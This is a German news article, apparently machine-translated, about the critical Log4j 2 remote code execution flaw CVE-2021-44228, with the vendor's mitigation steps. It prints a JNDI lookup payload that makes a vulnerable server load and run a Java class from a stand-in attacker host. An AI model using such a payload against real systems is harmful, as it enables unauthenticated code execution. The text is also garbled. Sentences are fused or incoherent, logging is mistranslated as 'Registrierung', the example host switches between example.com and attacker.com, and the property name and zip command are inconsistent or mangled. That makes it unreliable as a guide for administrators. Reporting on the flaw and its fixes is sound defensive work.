Kürzlich sWir haben die Nachricht veröffentlicht, dass in Apache Log4j 2 eine kritische Schwachstelle identifiziert wurde, das als beliebtes Framework zum Organisieren der Registrierung in Java-Anwendungen gekennzeichnet ist und die Ausführung beliebiger Codes ermöglicht, wenn ein speziell formatierter Wert im Format "{jndi: URL}" in die Registrierung geschrieben wird.
Verletzlichkeit Dies ist bemerkenswert, da der Angriff auf Java-Anwendungen ausgeführt werden kannSie erfassen aus externen Quellen gewonnene Werte, indem sie beispielsweise problematische Werte in Fehlermeldungen anzeigen.
Es wird beobachtet, dass Betroffen sind fast alle Projekte, die Frameworks wie Apache Struts, Apache Solr, Apache Druid oder Apache Flink nutzen, einschließlich Steam, Apple iCloud, Minecraft-Clients und -Server.
Die Sicherheitsanfälligkeit wird voraussichtlich zu einer Welle massiver Angriffe auf Unternehmensanwendungen führen, die die Geschichte der kritischen Sicherheitslücken im Framework Apache Struts wiederholen, die eine grobe Schätzung darstellt, die in 65 % der Fortune-100-Webanwendungen verwendet wird enthalten bereits aufgezeichnete Versuche, das Netzwerk nach anfälligen Systemen zu durchsuchen.
Die Sicherheitsanfälligkeit ermöglicht die Remoteausführung von nicht authentifiziertem Code. Log4j 2 ist eine Open-Source-Java-Log-Bibliothek, die von der Apache Foundation entwickelt wurde. Log4j 2 ist in vielen Anwendungen weit verbreitet und als Abhängigkeit in vielen Diensten vorhanden. Dazu zählen Business-Anwendungen ebenso wie zahlreiche Cloud-Dienste.
Das Angriffsteam von Randori hat einen funktionalen Exploit entwickelt und konnte diese Schwachstelle im Rahmen unserer offensiven Sicherheitsplattform erfolgreich in Kundenumgebungen ausnutzen.
Auf die Schwachstelle kann über eine Vielzahl anwendungsspezifischer Methoden zugegriffen werden. Tatsächlich ist jedes Szenario, das es einer Remote-Verbindung ermöglicht, beliebige Daten bereitzustellen, die eine Anwendung, die die Log4j-Bibliothek verwendet, in Protokolldateien schreibt, anfällig für Ausnutzung. Diese Sicherheitsanfälligkeit wird höchstwahrscheinlich in freier Wildbahn ausgenutzt und betrifft wahrscheinlich Tausende von Organisationen. Diese Schwachstelle stellt ein erhebliches reales Risiko für betroffene Systeme dar.
Erschwerend kommt hinzu, dass bereits ein funktionaler Exploit veröffentlicht wurde, z.B.Aber Fixes für stabile Branches wurden noch nicht generiert. Die CVE-Kennung wurde noch nicht vergeben. Die Lösung ist nur im Testzweig log4j-2.15.0-rc1 enthalten. Als Workaround zum Blockieren der Schwachstelle wird empfohlen, den Parameter Log4j2.formatMsgNoLookups auf true zu setzen.
Das Problem es lag daran, dass Log4j 2 den Umgang mit speziellen Masken «{}» in Protokollzeilen unterstützt, in welchem JNDI-Abfragen können ausgeführt werden (Java-Namensgebung und Verzeichnisschnittstelle).
Bei der Analyse von CVE-2021-44228 hat Randori Folgendes festgestellt:
Standardinstallationen weit verbreiteter Unternehmenssoftware sind anfällig.
Die Schwachstelle kann zuverlässig und ohne Authentifizierung ausgenutzt werden.
Die Sicherheitslücke betrifft mehrere Versionen von Log4j 2.
Die Sicherheitsanfälligkeit ermöglicht Remotecodeausführung, wenn der Benutzer die Anwendung unter Verwendung der Bibliothek ausführt.
Der Angriff läuft darauf hinaus, einen String mit der Substitution "$ {jndi: ldap: //example.com/a}" zu übergeben, wodurch Log4j 2 eine LDAP-Anfrage für den Pfad zur Java-Klasse an den Server attacker.com sendet . Der vom Server des Angreifers zurückgegebene Pfad (z. B. http://example.com/Exploit.class) wird geladen und im Kontext des aktuellen Prozesses ausgeführt, sodass der Angreifer mit den Rechten eine beliebige Codeausführung auf dem System erreichen kann des aktuellen Antrags.
Schließlich wird erwähnt, dass wenn Auffälligkeiten festgestellt werden, wird empfohlen, davon auszugehen, dass es sich um einen aktiven Vorfall handelt, der kompromittiert wurde, und entsprechend zu reagieren. Durch ein Upgrade auf gepatchte Versionen von Log4j 2 oder betroffener Anwendungen wird diese Sicherheitsanfälligkeit behoben. Randori empfiehlt jedem Unternehmen, das seiner Meinung nach betroffen sein könnte, dringend ein Upgrade auf eine gepatchte Version.
Im neuesten Update des Apache Log4j-Teams empfehlen Organisationen, Folgendes zu tun
- Update auf Log4j 2.15.0
- Für diejenigen, die nicht auf 2.15.0 aktualisieren können: In Versionen > = 2.10 kann diese Sicherheitsanfälligkeit gemindert werden, indem die Systemeigenschaft log4j2.formatMsgNoLookup oder die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS auf true gesetzt wird.
- Für die Versionen 2,0-beta9 bis 2.10.0 besteht die Abschwächung darin, die JndiLookup-Klasse aus dem Klassenpfad zu entfernen: zip -q -d log4j-core - *.jar org /apache /logging /log4j /core /lookup /JndiLookup.class.
Quelle: https://www.lunasec.io/